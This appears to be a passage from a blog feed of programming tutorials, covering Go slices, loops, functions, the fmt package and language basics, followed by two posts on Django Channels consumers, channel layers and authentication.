It is also possible to let go automatically detect that it is a slice using the walrus operator “:=”. Only possible within a function

slice := []int{0, 1, 2, 3, 4}

Partition an slice in Go

The slices can be split in a Python-like style, specifying an inclusive position for the first digit and exclusive for the second digit.

slice[2:] // {2, 3, 4}
slice[:2] // {0, 1}
slice[2:3]// { 2 }

If we do not specify one of the two, it will take the first position for the first digit and the last position for the second digit.

Extend an slice in Go

Slices are mutable, they can be extended using the append function, which receives any number of elements, separated by commas.

sliceExtendido := append(slice, 5)
// [1 2 3 4 6 5]
otroSliceExtendido := append(sliceExtendido, 6, 7, 8)
// [1 2 3 4 6 5 6 7 8]

It is possible to create a new slice from the destructuring of a slice. The destructuring is carried out by putting three dots (…) at the end of the slice.

nuevoSlice :=[]int{9, 10}
// [8 9]
sliceHastaDiez = append(nuevoSlice, otroSliceExtendido...)
// [1 2 3 4 6 5 6 7 8 9 10]

Iterate through arrays and slices with range

Similar to Python syntax, we can traverse an array, a slice or a map (I’ll talk about maps in the next post) using range. Each iteration will return the index and element of the array or slice, or the key and value in the case of maps.

Here we iterate over an array, notice how we are declaring the size beforehand.

var array [2]string
    array[0] = "Nier"
    array[1] = "Hollow knight"
    for index, videojuego := range array {
    	fmt.Println(index, videojuego)
    }

In the case of a slice, notice how we do not specify a size between the square brackets.

list := []int{0, 1, 2, 3, 4, 5}
    for i, n := range list {
    	fmt.Println(i, n)
    }

How to convert an array into an slice in Go?

To convert an array into a slice in Go, we can use the following syntax [:]

newArray := mySlice[:]

And that’s the basics of slices and arrays, for the next post I’m going to talk about maps in go.

Go: loops for, break, continue, defer, if and else

Tue, 07 Dec 2021 00:00:00 +0000

This entry will deal with loops in the go programming language.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Go handles loops a little differently than what you are used to. If you’re already fluent in any other programming language, you probably remember while, do while and for loops. And if you come from Python or Javascript, you’ll remember how useful for x in or for x of loops are.

Well, as there are more than enough loops for. Yes, there is no while or do while. But then how do I use the rest of the loops? Read on and I’ll explain.

If you don’t know anything about Go and want to start with the basics visit my entry Golang: introduction, variables and data types .

If you currently use Python and want to see how it is different from Go, visit my python vs go post.

If and else

If and else allow you to execute blocks of code conditionally and keep the same syntax as in almost all languages.

if true {
    fmt.Println("True")
} else {
    fmt.Println("False")
}

else if

And of course go also has an else if.

edad := 18
if edad < 18 {
    fmt.Println("Underage")
} else if edad > 18 {
    fmt.Println("Adult")
} else {
    fmt.Println("Exactly 18 years old")
}

For loops types in Go

In go there are several types of for loops: counter, conditional, range and infinite.

Simplified Golang for loops diagram

Loops with counter in Go

This is the classic loop that you already know from Javascript, C++, etc. In which you declare a variable, specify a condition, and make changes to the variable.

We declare “i” equal to 0, as long as “i” is less than 10, it executes the next block and subsequently increments “i” by one, each instruction separated by a semicolon.

for i:= 0; i < 10; i++ {
    // ...
}

Loop with conditional or while loops in go

In this type of loop a condition is evaluated, if the result is true, the block is executed, if not, that block of code is skipped.

This type of for loop would be the equivalent of the while loop in another programming languages

counter := 0
for counter < 10 {
    counter ++
}

Golang’s loops with range

Range allows us to traverse an iterable structure from beginning to end and allows us to access the respective index and element. It is ideal for traversing arrays, strings, slices, maps, channels and any structure that can be traversed.

HelloWorld := "Hello world"
    for index, character := range HelloWorld {
    	fmt.Printf("%d %c \n", index, character)
    }
/*
0  H 
1  e 
2  l 
3  l 
4  o  
5   
6  w 
7  o 
8  r 
9  l
10 d*/

Infinite loop

A for loop without condition will run forever.

The only way to get out of an infinite for loop is with a break.

counterForever := 0
for {
    counterForever++
}

break

As I just mentioned, break breaks a loop and continues code execution.

counterForever := 0
for {
    counterForever++
    fmt.Println(counterForever)
    if counterForever > 5 {
        fmt.Println("The loop breaks here")
        break
}
}
// 1
// 2
// 3
// 4
// 5
// 6
// The loop breaks here

Break named loops in go

In other programming languages, such as Python, break would break the immediate loop, i.e. the immediate loop it is in. Wouldn’t it be great to be able to stop the outer loop from the inner loop? In go it is possible in a simple way

while True:
    while True:
        break
    println("main loop is executing")
# main loop is executing
# main loop is executing
# main loop is executing

Go allows us to assign names to the loops, what for? To reference specific loops and be able to break them using break. Take a look at this example:

loop:
    for {
    	for {
    		fmt.Println("Breaking external loop")
    		break loop
    	}
    	fmt.Println("This will never get printed")
    }

We name our loop as loop and now we execute an infinite loop that will have an infinite loop inside it. This last loop will break the outer loop, named loop, so the second statement will never be printed on the screen.

How to use continue in Go

Continue stops the current iteration of the loop and continues its execution in the next iteration.

counter := 0
for counter < 10 {
    counter ++
    if counter == 3 {
        fmt.Println("We skip number 3")
        continue
    }
    fmt.Println(counter)
}
//1
//2
//We skip number 3
//4

What does Defer do in Go?

Defer delays the execution of a line of code until the end of the code. It is quite similar to what the defer attribute with HTML script tag does.

defer fmt.Println("This will be executed at the end")
    fmt.Println("This will be executed firstly")
    fmt.Println("This will be executed secondly")
// This will be executed firstly
// This will be executed secondly
// his will be executed at the end

What’s the point? Well, it is ideal to close connections to databases, files or to make some type of cleaning to the objects of our code.

const dbConnection := openDb()
defer closeDb()
queryDb()
anoterQuery()

For the next Go entry I’m going to talk about the basics of slices, arrays and maps.

Remember that you can visit the official go documentation if there is anything you want to learn more about.

Go: functions, arguments and the fmt package

Tue, 30 Nov 2021 00:00:00 +0000

This entry will discuss the basic syntax of Go functions. If you know absolutely nothing about go visit my entry go: introduction to programming language, variables and data types to start from the beginning of this tutorial series.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Now, let’s move on to the functions.

Functions in go

In go functions are declared by prefixing the word func to the function name. As follows:

func deleteRoot() { }

Remember that being a compiled language, go requires you to specify the data type in the arguments.

func deleteRoot(argument int, secondArgument int) { }

If the two arguments are of the same type, we can save a word by omitting the first type, in this case int.

func deleteRoot(argument, secondArgument int) {}

Return in go

As in almost all languages we use the word return in a function to return a value.

A function does not require you to return anything necessarily, and you do not need to specify a return, as you would in C++ and other similar languages.

On the other hand, if your function does have a return, you need to specify the type of data to return, placing it after the arguments.

func ReturnOne(argument, secondArgument int) int{
    return 1
}

Likewise, we can return two values, as if it were a tuple.

func ReturnOneAndTwo(argument, secondArgument int) (int, int) {
    return 1, 2
}

And, just like in Python, it is possible to assign those two values to two different variables, separating them by a comma.

a, b = ReturnOneAndTwo()

Return a function in go

In go, functions “are first class citizens” so, in go, functions can return functions. **functions are first class citizens so, in go, **functions can return functions.

func returnFunction(argument, secondArgument int) func() {
    return func() {
        return 1
}

And, as the function returns a function we can call the latter within any other block as follows:

// El equivalente a a llamar a la función retornada
returnFunction()()

Return no name

Go has a special way to return a value implicitly, without having to place it after return.

func split(sum int) (x, y int) {
        // retornará x y x de manera implícita
        x = sum * 4 / 9
        y = sum - x
        return
    }

This syntax may seem a bit tricky, but it is really very simple. Remember I told you that the type of data that a function returns goes after the arguments? (x, y int)_ Well here, in addition to the type, we specify which variables will be returned and of what type, in case we don’t put anything after return.

Basically we are telling go: “hey, if I don’t put anything after the return, return the variables “x” and “y”, which are of type int.

Variadic functions

In go, functions that receive a variable number of arguments require you to pass the name of the argument that will contain it, followed by ellipses and the data type.

func multiples(nums ...int) {
    fmt.Println(nums)
}

If you were to execute the function you would see that it returns an array.

multiples(1, 2, 3, 4, 5)
// [1 2 3 4 5]

There, that concludes my summary of the functions. Now let’s move on to one of go’s essential packages, the fmt package.

fmt package

This package is the one you will normally use to print statements on the screen and, I can see it in the future, the one you will use incorrectly for debugging.

First of all, fmt stands for format package and it is the package that will be in charge of formatting any type of input or output data. By data input and output, I mean what your older colleagues would call stdin and stdout in GNU/Linux .

By the way, fmt has support for special characters, so you can print subtitles in the original language of your favorite anime.

Println

If you have already worked with other programming languages, it is your classic print, echo, console.log or equivalent function, with its newline added at the end.

Println is able to print several arguments in a row, even if they are of different types.

import "fmt"
// ...
fmt.Println(1, "彼氏彼女の事情", nil)

Printf

Printf is like Println but with position operators that tell go the type of data we are passing to it. Yes, just like the C++ function

text := "World!"
number := 42
// %s es de string y %d de digit
fmt.Printf("Hello %s %d", text, number)

Types of operators

Did you see that I used the operator types %s and %d, for strings and digits, respectively? Well, in go there are multiple types of operators for many, many types of data.

There are some position traders that I consider noteworthy.

T, data type (string, int, boolean, etc).
%v, value in the default go format.
%t, For boolean, returns the word false or true.
%x, base number 16
%o, base 8 number
%e, scientific notation number
%9.2f, float with width of 9 and precision of 2
%.2f, float with default width and precision of 2
%q a string or text string, enclosed in quotes, previously escaped

You can see the rest of the operators in the official go documentation .

Sprintf

Sprintf has the same syntax as printf, but with the difference that it does not print to the screen, but generates a string.

var message string = fmt.Sprintf("Hello %s %d", text, number)

But what if we want to get input from a user? Well, just like in C, we have the scan function.

Scan

Scan will read the standard input text (stdin) until it finds the first space or line break and return the number of arguments received.

If you don’t know what the ampersand “&” means, you can think of it as the address in memory to which the message variable corresponds.

If you still have no idea what I’m talking about, you’re going to have to do some research on pointers. There is too much information available on the internet to create a new entry.

var message string
fmt.Scan(&message)
fmt.Println(message)

The above code does only two things: it saves the text we type in the console in the message variable and then prints it on the screen.

Scanf

Scanf is like Scan, but to store multiple arguments, separated by spaces.

See how we first create the three variables, and then, as the first argument to Scanf, we pass the order in which it will receive the arguments as a data type, separated by space, and at the end the address of the variables to which it has to assign them.

var (
    	name string
    	lastname string
    	phoneNumber int
    )
        // name lastname phoneNumber
    fmt.Scanf("%s %s %d", &name, &lastname, &phoneNumber)
    fmt.Printf("name: %s, lastname: %s, phoneNumber: %d", name, lastname, phoneNumber)

Notice how we indicate the separation of each argument by a space.

Handling errors on Scanf and Scan

Scanf and Scan, in addition to saving text in variables, also return the number of assigned arguments and, only in case of occurrence, an error message.

var (
    	name string
    	lastname string
    	phoneNumber int
    	arguments int
    	err error
    )
    arguments, err = fmt.Scanf("%s %s %d", &name, &lastname, &phoneNumber)
    if err != nil {
    	fmt.Printf("Error: %s", err)
    } else {
    	fmt.Printf("Looks ok, we received %d arguments: %s, %s, %d", arguments, name, lastname, phoneNumber)
    }

See what happens if we try to pass it an argument of the wrong type.

The first time the function is executed everything goes well and happens normally, but the second time it returns an error because we are trying to pass Scanf an argument of type string, and it is waiting for one of type int.

If you want to see the rest of the features that this go package has to offer, check the official documentation of the fmt. package

Go, coding language, introduction to variables and data types

Tue, 23 Nov 2021 00:00:00 +0000

Golang, also known as go, is a compiled programming language developed by Google. It is a language quite appreciated according to the latest Stackoverflow surveys (2023), as you can see in my python vs go post, where I also compare the good, the bad and the ugly of this language.

Go is used even in colossal projects, like the typescript compiler.

Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

What’s Go the programming language?

Go or Golang is a language with a syntax similar to that of C and with certain abstractions in its syntax that make it a language in which writing code is a piece of cake, coding in Go feels like a mixture between coding in Python and C.

Go’s design is based on a document called: Everything you’ve wanted to know about programming languages but have been afraid to ask , written by Tony Hoare (Quick sort creator). It emphasizes the importance of aspects such as:

Elegance and simplicity
Good abstractions that hide implementation details
Predictable code
Simple error handling
Blazingly Fast (pun intended) compilation

This is a compiled, imperative, strongly concurrency-centric, statically typed language.

Cool aspects and advantages of Go

The language is quite simple It is a language with just a few keywords and functionalities. You can learn it in a breeze.
Go compiler is super fast Since it has few keywords and the language is quite simple, go compiles blazinlgy fast (I detest the over use of that expression) compared to other programming languages.
Concurrency handling is easy Go was designed as a concurrent language, creating concurrency with goroutines is quite easy.
Creating web applications is quite simple Go incorporates in its standard library a lot of utilities to create web servers, so you can even use it without using any framework, for simple applications, and you won’t have any problem. Definitely a language to get shit donde

Why does go suck? Disadvantages of using Go

To make this analysis as objective as possible, here are some controversial aspects of go that are not viewed favorably by some developers. Yes, I know the community can be toxic sometimes, but I agree with most of them. Let’s be realistic, Go is not perfect, but my take is that this is not about perfection but getting things done.

This pattern is quite recurrent in applications and can become tedious.

Go lacks support for classes directly. But all is not lost, because it does have certain features that provide it with OOP functionalities, such as polymorphism and classes, by means of interfaces, structs and embedded values .
Go does not have exception handling with try and catch blocks or equivalent, but errors must be returned as a return value in a function and are handled by checking that it is not null (nil), by means of if blocks. This can become quite verbose and repetitive.

If err!= nil again and again and again, error handling in Go could be better

There are no default arguments in go, which increases the amount of code to write to deal with defaults.
No manual memory management, go uses a garbage collector, which simplifies memory management enormously, but limits more granular memory management, this was one of the reasons why discord migrated from Go to Rust.
~~Go does not have generics~~ Go already has generics support since version 1.18.

Go and its best practices

Go is strongly oriented to good code practices. How does it do it? The compiler forces good practices in the code, preventing the code from compiling if there are variables or imports that are not used, or if the privacy rules of our properties and functions are not respected, among others.

Compilation is not allowed if there are unused variables.

However it doesn’t force you to check for nil values, which me and other developers think it is a weak part of the language.

The most popular mascot in programming

The official mascot is a ground squirrel and it is popular among the community to use it to illustrate go-related content. This Blue Sartre rodent version is so popular among developers that there are tools, such as Gopherizme , to create custom avatars. The impact of the mascot is such that many developers use it as a logo, although the official go logo has already been defined.

On the left the Go mascot. On the right the official logo

Go Installation

Go can be found in most GNU/Linux distribution repositories. In debian and ubuntu it is installed using the apt install command like any other package.

sudo apt install golang

The installation instructions for Freebsd, windows and macOSx will be different.

Structure of a go file

The go files are structured as follows and in this order:

Package name

A section where the package name is declared after the word package. The package name will be used to import our modules.

package main

Imports

A section where all the go packages that will be used are imported. For this we use the word import.

import “fmt” import “fmt” import “fmt” import “fmt” import

Multiple imports can be placed inside parentheses, without commas.

import (
    "strconv"
    "fmt"
)

Content

The contents of the file, i.e. declarations of variables, types, functions , constants, etc.

func main() {
    fmt.Println("Hello world!")
}

The main package

Go requires a main package called main, which will be specified by placing package main at the beginning of our source code.

package main

The main function

The main function is the starting point of a go file, as it would be in C, and returns nothing.

package main

import "fmt"

func main() {
    fmt.Println("Ejecutando el programa")
}

init function

Before the entry point of the program (the main function) an init function is executed, this can contain all the initializations necessary for the execution of the program.

package main

import "fmt"

func init() {
    fmt.Println("Inicializando el programa principal")
}

func main() {
    fmt.Println("Ejecutando el programa")
}

Compiling and running a go file

Since go is a compiled language, it requires the compilation of the code before the code can be executed. Compiling is done with the build command.

go build src/main.go

After the compilation we will have a file that we will be able to execute.

./main

It is also possible to compile and run the code in one step using run instead of go.

go run src/main.go

Differences between run and build

The difference between build and run is that run compiles the code and executes it from a temporary directory, and then cleans up the generated files. If we add the –work flag, we can see the location of this directory.

go run --work src/main.go
# WORK=/tmp/go-build983014220

Primitive data types

Since we are dealing with a compiled language, we need to tell the compiler the data type we will use for each variable or constant.

The primitive values of Go are as follows.

Integer

For signed or unsigned integer values.

int, assigned according to OS (32 or 64 bits)
int8,
int16
int32
int64

Unsigned integer

For unsigned, i.e. positive values.

uint, assigned according to OS (32 or 64 bits)
uint8
uint16
uint32
uint64

Decimal

For decimal numbers

float32
float64

Texts

For text there is only string

Boolean

For true or false values

Complex numbers

It allows to handle real and imaginary numbers:

Complex64
Complex128

For example: c:=100+2i

Variables, constants and zero values in go

Variables

Go allows you to define variables by specifying the data type and the keyword var. It is as if you added the data type to a Javascript variable declaration.

var gravedad int8

Variable assignment can be performed in a single step as follows:

var gravedad int = 123

It is also possible to let the compiler intuit the data type with the walrus (groundhog) operator. This type of assignment is only possible within the scope of a function.

gravedad := 123

In go you cannot assign a variable to the null value; nil.

var gravedad = nil // error

Constants

Constants work in a similar way, but are characterized by the fact that they cannot be modified. The keyword const is used.

It is necessary to assign a value to a constant when declaring it.

const gravedad int8 = 123

If we do not specify a constant type the compiler will try to guess it.

const pi = 3.14159

Zero values

In go, if we do not assign a value the compiler will use default values for each data type.

int: 0
float: 0
string: "
bool: false

Null value

Go uses the reserved word nil to refer to a null value.

Comments

The comments are marked using two diagonals in a row.

// This is a comment

Multi-line comments are made with a diagonal followed by an asterisk.

/*
this is a multiline comment
*/

Operators in go

The operators of go are similar to the rest of the languages.

+, sum
-, subtraction
*, multiplication
/, division
<, less than
<=, less than or equal to
>, greater than
>=, greater than or equal to
%, modulus or remainder
!=, inequivalence
==, equality
!, negation
&&, AND operator
||, OR operator
++, incremental
--, decremental

With this I finish the most basic part of the language, I hope to put the language in a good light for you. If you want to learn more about it you can read the following post, I have written tutorials about all the basic parts of the language. See you soon!

Django channels: channel layers, groups and users

Tue, 16 Nov 2021 00:00:00 +0000

Channel layers allow you to interact and share information with different consumers in django channels. This allows each consumer to communicate with the rest. For example, when in a chat a user sends a message, everyone can read the message, when a user leaves a room, everyone can know that he left it. With this capability it is possible to create a distributed application in which information is shared among the different users.

If you don’t know what Django channels is, I recommend you to read my previous post, where I explain the basic parts of django channels: consumers, scope and events

Configure a channel layer

It is not enough for one instance to be able to access information from all other instances.

What if we want only some instances to have access to the information and not others?

Just as in a chat, you do not want all existing chats to receive your messages, nor do you expect to receive messages from all chats, only those in which you participate.

To handle this information in common we need a channel layer (an optional feature of django channels), and groups of channels or consumers. In this way we will ensure that each instance of a channel, that is, a consumer, can communicate with other channels, but not with all of them, only with those of the group we specify.

Channel layers under development

To use a channel layer in development we need to add an extra configuration to our configuration file and modify our consumer object. This configuration below tells Django to handle the channel layer in memory and is perfect for testing in development.

# mychannels/settings.py
CHANNEL_LAYERS = {
    "default": {
        "BACKEND": "channels.layers.InMemoryChannelLayer"
    }
}

Channel layers in production

The above configuration is not for production. For production we need to install redis and the channels-redis package. I told you a bit about redis when I explained how to create a history of products visited with django and redis .

sudo apt install redis
pip install channel-redis

If installed correctly we will have redis running on port 6379.

We will now directly access the redis application through its default port.

# mychannels/settings.py
CHANNEL_LAYERS = {
    "default": {
        "BACKEND": "channels_redis.core.RedisChannelLayer",
        "CONFIG": {
            "hosts": [("127.0.0.1", 6379)],
        },
    },
}

Broadcasting with a channel or consumer

After adding the above configuration, it is time to modify our consumer to send messages to the rest of the connections. In the previous post I explained that each consumer has the properties channel_layer and channel_name, which refer to the channel layer it belongs to and its own name, respectively. We will use those properties to get the channel layer it belongs to and its name.

Our consumer will continue to maintain its three main functions: connect, disconnect and receive, but with added functionality.

The process by which a channel or consumer joins a group.

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer
from asgiref.sync import async_to_sync

class ChatConsumer(WebsocketConsumer):

    def connect(self):
        async_to_sync(self.channel_layer.group_add)("chat", self.channel_name)
        self.accept()

    def disconnect(self, close_code):
        async_to_sync(self.channel_layer.group_discard)("chat", self.channel_name)

    def receive(self, text_data):
            async_to_sync(self.channel_layer.group_send)(
                "chat",
                {
                    "type": "chat.message",
                    "text": text_data,
                },
            )

    def chat_message(self, event):
        self.send(text_data=event["text"])

The changes we made were as follows:

We import the async_to_sync function, which allows us to execute asynchronous code synchronously.
We use the group_add method to add a channel (remember that a consumer is a representation of a channel) to a given group. That is, add the current channel/consumer to the group called “chat”. In the image above it is better explained.
In case a user disconnects, we remove it from the “chat” group with group_discard.
Now, every time we receive a message in a consumer, it will call the method group_send of the channel layer to which it belongs, which will be in charge of sending the data, in dictionary form, automatically to all the active members of the group “chat “.
The type key will tell the consumer which method to use. The syntax is replace the dot with an underscore. That is to say that the type chat.message will execute the chat_message method of each consumer that receives it.

Channel layer sending information to the group “chat” with its method group_send

Handling websockets in HTML

To simplify the connection to websocket in the browser, I’m going to take the Javascript code needed to send a message and place it in a super simple HTML template that will reside in templates/index.html. Create it if you don’t have it.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<script>
    // web socket connection was created
    const chatSocket = new WebSocket(
            'ws://'
            + window.location.host
            + '/ws/django/chat/'
        );
    // Every time a message is read show it on the screen
    chatSocket.onmessage = function(e) {
            const data = JSON.parse(e.data);
            console.log(data)
        }
    // Send "our message"
    function sendMessage() {
        let message = "our message"
        chatSocket.send(JSON.stringify({
            'message': message
        }));
    }
</script>
<body>
    <button onclick=sendMessage()>Send</button>
</body>
</html>

The code is practically the same of the previous entry, I have only added the sending of the message to a function that will be executed when we press the button.

In our views.py file of the chat app we create the view that is in charge of rendering the template

# chat/views.py
from django.shortcuts import render

def useless_chat(request):
    return render(request, "index.html")

And let’s not forget to add this view to the urls of our project.

# mychannels/settings.py
from django.urls import path
from chat.views import useless_chat

urlpatterns = [
    path('admin/', admin.site.urls),
    path('chat/', useless_chat)
]

Ready! Now comes the interesting part… if you open two windows, two consumers will be created and every time a consumer sends a message, it will be received in the Django app and self.channel_layer.group_send will send it to the rest of the consumers, when they receive it, each consumer will execute its chat_message method, which will send the text that was sent.

Observe how both tabs receive the sent messages

Users in django channels

What about the users? So far we have been handling anonymous users. Note that authentication is quite simple in django channels. To incorporate it we wrap our application in the AuthMiddlewareStack middleware, django will handle the session object, as usual.

# mychannels/asgi.py
import os

from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.core.asgi import get_asgi_application
import chat.routing

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mychannels.settings")

application = ProtocolTypeRouter({
  "http": get_asgi_application(),
  "websocket": AuthMiddlewareStack(
        URLRouter(
            chat.routing.websocket_urlpatterns
        )
    ),
})

With this middleware we will have access to the user object through the scope in:

#chat/consumers.py
class ChatConsumer(WebsocketConsumer):

    def connect(self):
        async_to_sync(self.channel_layer.group_add)("chat", self.channel_name)
        self.accept()
        self.user = self.scope["user"]
        self.send(text_data=json.dumps({"message": "%s has connected" % (self.user.username)}))

If you have a logged in user you will see something like this when logging in:

And if you are not logged in you will see an empty string, which corresponds to an anonymous user.

Django channels also provides us with functions to login and logout our users, just remember that the login function does not authenticate a user, it only logs them in, so the checks are up to you.

#chat/consumers.py
from asgiref.sync import async_to_sync
from channels.auth import login, logout, get_user

class ChatConsumer(WebsocketConsumer):

    ...

    def receive(self, text_data):
        ...
        async_to_sync(login)(self.scope, user)
        # It is necessary to save the session
        self.scope["session"].save()

    def disconnect(self, close_code):
        async_to_sync(logout)(self.scope)(

Now you can complicate the sending of information so that it behaves the way you want it to, such as creating different rooms, or condition the sending of messages to a restricted group of users, or only to one of them.

Tips for django-channel production

Before deploying an application that involves channels I will tell you about the many things that can go wrong and how to prevent them.

django.core.exceptions.AppRegistryNotReady: Apps not loaded

If you are using uvicorn and an asgi application, this is because django tries to use applications that have not yet been loaded. To prevent the error manually load the application yourself before importing any other app.

In this particular case, the order of imports DOES matter.

from django.conf import settings
from django.core.asgi import get_asgi_application

current_settings = (
    "app.settings" if settings.DEBUG else "app.dev_settings"
)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", current_settings)
django_asgi_app = get_asgi_application()

# More imports here
# import app...

#...
application = ProtocolTypeRouter(
    {
        "http": django_asgi_app,
        # ...
}

Make sure you have the websocket libraries installed.

If you are going to work with websockets, make sure you have all the required libraries installed, uvicorn provides us with these libraries if we install its standard version.

pip install uvicorn[standard]

Otherwise we will get the error _[WARNING] No supported WebSocket library detected.

Make sure you are using the correct websocket protocol

The error can manifest itself in several ways, one of which is this deploys failing due to “unhealthy allocations”.

If you try to communicate with an insecure protocol to an insecure protocol you will get an error.

// Your turn to define this
if(serving_using_https){
    ws_url = 'wss://...'
}
else{
    ws_url = 'ws://...'
}

Django channels: consumers, environments and events

Tue, 09 Nov 2021 00:00:00 +0000

Why Django channels? Because Django does not allow us to create applications with real-time communication natively. Django channels gives Django the ability to handle protocols that require a persistent connection, such as WebSockets, MQTT, chatbots, while keeping intact its integration with the session system, authentication and the rest of the framework.

Django channels places an intermediate layer that is in charge of processing http requests to django views and websocket connections to an http consumer or a websocket consumer.

What is a channel and a websocket?

I recommend that if you have no idea about websockets and channels you give a read to these two concepts because I will use them throughout this post and the next one.

If you are in a hurry, you can be satisfied with these definitions, which are simplistic and incomplete:

A websocket is a persistent connection that exists between a user’s browser and a web server.

A channel is a model that allows several processes to communicate with each other by transmitting messages. django-channels owes its name to this concept and the concept is quite similar to what you would find in programming languages such as Go .

Django channels requires ASGI

Django channels requires us to switch from a WSGI server to an ASGI server, to handle its asynchronous nature.

If you don’t know what ASGI means, just know that it is an interface for Python to interact with web servers asynchronously.

Each time a new user initiates a request an ASGI “application” will be created and handled, this connection, unlike a normal HTTP request, is persistent.

Installation of django channels

First we install channels directly from our favorite package manager, I will use pipenv and the most current version at the date of this article.

pip install channels["daphne"]

We add it to our installed applications.

Daphne must be on top of all applications, because it takes control of the runserver command to initialize the application.

INSTALLED_APPS = (
    'daphne',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.sites',
    ...
    'channels',
)

In our project folder an asgi.py file is created when we run django-admin startproject. This file is the “gateway” through which a server interacts with our Python code. We need to modify it to tell django how to handle each protocol.

My application is called “mychannels” but replace the name with yours.

# mychannels/asgi.py
import os

from channels.routing import ProtocolTypeRouter
from django.core.asgi import get_asgi_application

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mychannels.settings')

application = ProtocolTypeRouter({
    "http": get_asgi_application(),
    # Ahora mismo solo tiene el protocolo http, el que usamos normalmente
})

Now we need to tell django that we will use an ASGI application. This step will get our application to wrap the runserver command provided by django.

# mychannels/settings.py
ASGI_APPLICATION = "mychannels.asgi.application"

Now, we will create an application called chat.

django-admin startapp chat

And we will add it to our installed apps.

INSTALLED_APPS = (
    ...
    'chat',
    'channels',
)

This app will be in charge of managing the websocket connections that we will create.

Handling ws connections with a consumer

What is a consumer? A consumer is an abstraction of a channel in the form of a class, this class implements methods that will handle the events of our users. There are also synchronous and asynchronous consumers that handle the low-level Python code for you.

What events can a consumer handle?

Events are the actions that our users will perform, such as connecting, disconnecting or sending information to the websocket and the consumer will respond to them. In addition to these events we can create custom events (don’t worry about that now) and assign them to functions.

The web socket sends information with the send method, the consumer receives it with its receive method, and then sends a response with send, which the websocket will process with onmessage.

There are consumers for queuing, websockets, synchronous, etc.

AsyncWebsocketConsumer
JsonWebsocketConsumer
AsyncJsonWebsocketConsumer
AsyncHttpConsumer

The type of consumer will depend on the class it inherits.

We will create a consumer for websocket in our chat application.

Structure of a consumer

Observe the structure of a consumer, each method will be in charge of handling a different event..

This one here inherits from WebsocketConsumer which has connect, receive and disconnect events, which will be executed when starting a connection, receiving a message or closing a disconnection, respectively.

In addition each consumer has channel_layer and channel_name properties, which refer to the channel_layer to which it belongs and its own name, respectively.

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer

class ChatConsumer(WebsocketConsumer):
    def connect(self):
        print("el usuario se ha conectado")
        # aceptamos la conexión
        self.accept()

    def disconnect(self, close_code):
        # Desonectamos al usuario
        print("el usuario se ha desconectado")

    # Receive message from WebSocket
    def receive(self, text_data):
        text_data_json = json.loads(text_data)
        message = text_data_json['message']

        self.send(text_data=json.dumps({
            'message': message
        }))

Here is a summary of what the consumer we have just created does:

connect, is executed when a user connects, accept will accept the connection.
disconnect, executes when a user disconnects, it will only print on screen
receive, executed when a websocket sends information, for this example it will only return, to the sender, the text sent as a JSON object through the send method.

Scope and events

Django channels divides each request to a consumer into two components: a scope and a series of events.

**The scope stores information that contains the web request (very similar to the request object) this information allows you to identify each connection ** During the lifetime of the connection, the user interacts with it, triggering events.

The scope is available in each consumer object in its scope property..

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer

class ChatConsumer(WebsocketConsumer):
    def connect(self):
        print(self.scope)
        self.accept()

If we print the scope we will get a dictionary similar to this one

{
    'type': 'websocket',
    'path': '/ws/django/chat/',
    'raw_path': b '/ws/django/chat/',
    'headers': [(b 'host', b 'localhost:8000'), (b 'user-agent', b 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'), (
        b 'accept', b '*/*'), (b 'accept-language', b 'es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3'), (
        b 'accept-encoding', b 'gzip, deflate'), (b 'sec-websocket-version',
        b '13'), (b 'origin', b 'http://localhost:8000'), (b 'sec-websocket-extensions',
        b 'permessage-deflate'), (b 'sec-websocket-key', b 'D/aAHncl+Hh2FQrAOEI1dA=='), (
        b 'connection', b 'keep-alive, Upgrade'), (b 'cookie',
        b '_ga=GA1.1.2040703272.1635544065; mailChimpNewsletterShown=true'
    ), (b 'pragma', b 'no-cache'), (b 'cache-control', b 'no-cache'), (
        b 'upgrade', b 'websocket')],
    'query_string': b '',
    'client': ['127.0.0.1', 52024],
    'server': ['127.0.0.1', 8000],
    'subprotocols': [],
    'asgi': {
        'version': '3.0'
    },
    'cookies': {
    },
    'session': < django.utils.functional.LazyObject object at 0x7f4fad60c430 > ,
    'user': < channels.auth.UserLazyObject object at 0x7f4fad60cb50 > ,
    'path_remaining': '',
    'url_route': {
        'args': (),
        'kwargs': {}
    }
}

Please note how our dictionary has a session property, a user property, a cookies (to identify the user) and another one with the args and kwargs of the url, which we can use to customize the behavior of our app; get information from a database, limit access to certain consumers or whatever we want.

Linking a consumer with a url

We are going to create the url that will link our consumers to the websockets in a new file called routing.py.

# chat/routing.py
from django.urls import re_path

from . import consumers

websocket_urlpatterns = [
    re_path(r'ws/chat/$', consumers.ChatConsumer.as_asgi()),
]

All connections to the url ws://localhost:8000/ws/chat/ will create an instance of our ChatConsumer.

Next, let’s modify the asgi.py file inside our project so that every request made to a websocket is redirected to our consumer.

# mychannels/asgi.py
import os

from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.core.asgi import get_asgi_application
import chat.routing

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mychannels.settings")

application = ProtocolTypeRouter({
  "http": get_asgi_application(),
  "websocket": AuthMiddlewareStack(
        URLRouter(
            chat.routing.websocket_urlpatterns
        )
    ),
})

ProtocolTypeRouter is in charge of reading the scope and assigning the type of request to the respective type of response: http to a view and websocket to a consumer.
URLRouter is in charge of deciding which url corresponds to each consumer, just like Django’s urlpatterns object.
